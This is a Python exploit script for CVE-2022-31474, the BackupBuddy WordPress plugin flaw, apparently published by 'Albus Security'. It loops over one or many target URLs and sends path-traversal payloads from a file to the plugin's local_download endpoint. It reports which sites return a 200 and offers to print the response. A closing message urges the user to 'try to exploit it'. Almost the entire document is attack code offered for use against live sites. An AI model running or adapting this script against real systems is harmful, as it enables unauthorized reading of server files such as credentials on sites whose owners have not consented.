# Exploit for CVE-2022-31474

import argparse
import sys
import time
from urllib3 import disable_warnings
import requests
from colorama import Fore
import os
import re
import socket
from pyfiglet import figlet_format
import validators
import select

# Disable Connection cirumstances 

disable_warnings()

# clear terminal 

os.system('cls || clear')


# Function
def check(single=None, multiple=None):

    contained_url = []

    if single:

        if not validators.url(single):
            print("You must specify a valid URL.")
            print("Exiting...")
            sys.exit()

        contained_url.append(single)

    elif multiple:

        if not os.path.exists(multiple):
            print("Specified path to URL list does not exist!")
            print("Exiting...")
            sys.exit()

        with open(multiple, 'r') as f:
            contained_url = [line.strip() for line in f]
    else:

        print("Please provide a single URL or URL list (-U or -L).")
        sys.exit()

    return contained_url


def data_generator(filename='payloads.txt'):

    with open(filename, 'r') as f:
        return [line.strip() for line in f]
    
def filter_url(url):
    
    if url.startswith('https'):
        uri = re.sub(r'^https?://', '', url)
        return uri
    
    elif url.startswith('http'):
        uri = re.sub(r'^http?://', '', url)
        return uri
    
    else:
        return None
    
def input_with_timeout(prompt, timeout=20, default='No'):
    print(prompt + " (Default: {})\n".format(default))
    start_time = time.time()

    while True:
        
        if time.time() - start_time > timeout:
            return default

        if sys.stdin in select.select([sys.stdin], [], [], 0):
            return input().strip().lower() or default

        time.sleep(0.1)   


    
def exploit(urls,payload,timeout):

    for url in urls:

        fil = filter_url(url)
        print("\n\t\t\tTarget Information")
        print("*****************************************************************")
        print("\tTarget:-\t\t\t", url)

        # Exceptions 

        try: 
            print("\tYour target IP:-\t\t" + socket.gethostbyname((fil)))
        except Exception as e:

            print("Can't Resolve ip address of your domains")

        print("\tTest For CVE-2022-31474")
        print("*****************************************************************")


        for extracted_payloads in payload:

            time.sleep(3)

            try: 
                
                  
                request = requests.get(
        url + "/wp-admin/admin-post.php?page=pb_backupbuddy_destination&local-destination-id=" + extracted_payloads + "&local_download=" + extracted_payloads)
                  
                if request.status_code == 200: 
                      
                    print(Fore.GREEN+"\nApplication returned a 200 Response. It's important to assess if this indicates a potential vulnerability.")
                    print(Fore.GREEN+"\nVulnerable URL-\t",f"{url}/wp-admin/admin-post.php?page=pb_backupbuddy_destination&local-destination-id={extracted_payloads}")

                    user = input_with_timeout("Do you want to see the response? Yes/No")

                    if user.lower() == 'yes':
                        
                        print(Fore.LIGHTWHITE_EX + "---------------------")
                        print(request.text[0:20:])
                        print(Fore.LIGHTWHITE_EX + "---------------------")
                    
                    print(Fore.LIGHTWHITE_EX + "*************************************************************************")
                    
                elif request.status_code == 403:

                    print(Fore.GREEN+"\n\tpplication returned a 403 Response. Further investigation is recommended.")
                    time.sleep(3)
                      
                else: 
                      
                    print(Fore.RED + "Applicantions throws an error")
                    print(Fore.RED + "Your failed target: " + url)       

            except requests.exceptions.Timeout:
                
                    print(Fore.RED + "Request timed out. Trying another target.")
                    print(Fore.RED + "Your timed out target: " + url)

            except requests.exceptions.ConnectionError:
                
                print(Fore.RED + "Connection error. Trying another target.")
                print(Fore.RED + "Your connection error target:")



if __name__ == '__main__':

    print(Fore.LIGHTWHITE_EX + "\n*****************************************************************************************************************")
    print(Fore.LIGHTCYAN_EX + '''
────────────────────────────────────────────────────────────────────────────────────
─██████──██████─██████████████─████████──████████─██████████████─████████████████───
─██░░██──██░░██─██░░░░░░░░░░██─██░░░░██──██░░░░██─██░░░░░░░░░░██─██░░░░░░░░░░░░██───
─██░░██──██░░██─██░░██████████─████░░██──██░░████─██░░██████░░██─██░░████████░░██───
─██░░██──██░░██─██░░██───────────██░░░░██░░░░██───██░░██──██░░██─██░░██────██░░██───
─██░░██████░░██─██░░██████████───████░░░░░░████───██░░██──██░░██─██░░████████░░██───
─██░░░░░░░░░░██─██░░░░░░░░░░██─────██░░░░░░██─────██░░██──██░░██─██░░░░░░░░░░░░██───
─██░░██████░░██─██░░██████████───████░░░░░░████───██░░██──██░░██─██░░██████░░████───
─██░░██──██░░██─██░░██───────────██░░░░██░░░░██───██░░██──██░░██─██░░██──██░░██─────
─██░░██──██░░██─██░░██████████─████░░██──██░░████─██░░██████░░██─██░░██──██░░██████─
─██░░██──██░░██─██░░░░░░░░░░██─██░░░░██──██░░░░██─██░░░░░░░░░░██─██░░██──██░░░░░░██─
─██████──██████─██████████████─████████──████████─██████████████─██████──██████████─
────────────────────────────────────────────────────────────────────────────────────'''
          )
    
    print("\n\t\t\t\tWELCOME TO ALBUS SECURITY".format(Fore.YELLOW))
    print("\n\t\t\t\tTest For CVE-2022-31474")
    print(Fore.LIGHTRED_EX+ '\t\t\t\t\tAuthor: Aniket Tyagi')
    print(
        Fore.LIGHTWHITE_EX + "*****************************************************************************************************************\n\n")

    
    # Argument_Management

    if len(sys.argv) > 1:
        pass
    else:
        print(Fore.RED+'\n%s Please use -h for help.' % (sys.argv[0]))
        exit(0)
    
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', help='Single URL')
    parser.add_argument('-l', '--list', help='Provide list of URLs')
    parser.add_argument('-p', '--payloads', help='Provide payloads list (default: payload.txt)', default='payload.txt')
    parser.add_argument('-t', '--timeout', help='Maximum number of seconds to wait while requesting a web page (default: 10)', default=10, type=int)
    
    args = parser.parse_args()
    multiple_url= args.list 
    single_url = args.url
    payloads = args.payloads
    timeout = args.timeout

    urls = check(single=single_url, multiple=multiple_url)
    payload_variable = data_generator(payloads)


    exploit(urls,payload_variable,timeout)

print(Fore.RED + "\n\n\t\tIf you receive a DNS ping in your collab, congratulations! Try to exploit it.")
print(Fore.RED + "\t\t\t\t\t\tThank you for using.")